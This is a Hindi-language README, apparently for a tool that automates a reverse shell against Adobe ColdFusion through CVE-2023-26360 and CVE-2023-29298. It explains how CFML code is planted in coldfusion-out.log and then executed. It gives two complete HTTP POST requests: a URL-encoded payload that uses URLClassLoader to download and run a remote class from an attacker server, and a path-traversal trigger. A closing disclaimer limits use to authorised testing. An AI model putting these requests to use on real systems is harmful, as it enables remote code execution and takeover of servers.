
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298 स्वचालित रिवर्स शेल
CVE-2023-29298/CVE-2023-26360 भेद्यता शोषण रिवर्स शेल टूल
भेद्यता का सिद्धांत यह है कि जब हम CFML डेटा क्लाइंट अनुरोध बनाते हैं, तो डेटा सर्वर के coldfusion-out.log फ़ाइल में सहेजा जाता है। यह निर्देशिका अनुरोध की त्रुटि संदेशों को रिकॉर्ड करती है। coldfusion-out.log फ़ाइल में हमारा लिखा हुआ कोड होता है। फिर हम classname का उपयोग करके इस लॉग फ़ाइल को पढ़ते और निष्पादित करते हैं, जिससे कोड निष्पादन प्रभाव प्राप्त होता है।
यहाँ मेरा एक विचार है: दुर्भावनापूर्ण class को सर्वर पर डालकर, फिर डाउनलोड करके इस class फ़ाइल को सहेजें और कॉल करें। उपरोक्त भेद्यता के माध्यम से, यह गतिशील रूप से क्लास लोड करेगा और हमारी class फ़ाइल को निष्पादित करेगा।
यह एक स्क्रिप्ट लिखता है जो एक संपीड़ित पैकेज बनाती है। इस पैकेज के अंदर:
compress code निर्देशिका के अंतर्गत:
utilize
├── address
└── Poc.class
Poc.java में मुख्य रूप से रिवर्स शेल कोड रखा गया है।
address फ़ाइल में एड्रेस और पोर्ट होता है।
उपरोक्त कार्यक्षमता को लागू करना बहुत कठिन है। मैंने एक स्वचालित जनरेट टूल लिखा है जो जावा बाइटकोड फ़ाइल बनाता है, फिर रिवर्स शेल का IP और पोर्ट सेट करता है, और फिर वेब सर्वर शुरू करता है।
टूल_नाम -host रिवर्स_IP -port रिवर्स_पोर्ट -p HTTP_पोर्ट (डिफ़ॉल्ट 8888)

देखें

फिर हम लॉग त्रुटि कोड लिखने का अनुरोध करते हैं। नीचे POST डेटा भाग में http://192.168.191.58:8888/GjfZgo को उस एड्रेस में बदलें जहाँ सेवा शुरू की गई है।
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
फिर लॉग के अंदर कोड निष्पादित करें। यह निश्चित और हार्डकोड है, सीधे भेजें:
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
निष्पादित करें और देखें, ऑनलाइन आ गया:

यह सुरक्षा उपकरण केवल तकनीकी अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग करते समय, कृपया लागू कानूनों, विनियमों और नैतिक मानदंडों का पालन करें।
यह उपकरण सुरक्षा भेद्यताओं के परीक्षण और पेनिट्रेशन टेस्टिंग में शामिल हो सकता है, कृपया केवल अधिकृत दायरे में ही इसका उपयोग करें, अन्यथा लेखक से कोई संबंध नहीं है।
इस उपकरण के उपयोग में कुछ जोखिम और अनिश्चितता शामिल हो सकती है। उपयोगकर्ता को इस उपकरण के उपयोग से उत्पन्न जोखिमों को स्वयं वहन करना चाहिए।
इस उपकरण का उपयोग करने वाले उपयोगकर्ता सभी जोखिमों और जिम्मेदारियों को स्वयं वहन करेंगे। डेवलपर इस उपकरण के उपयोग से उत्पन्न किसी भी परिणाम के लिए कोई जिम्मेदारी नहीं लेता है।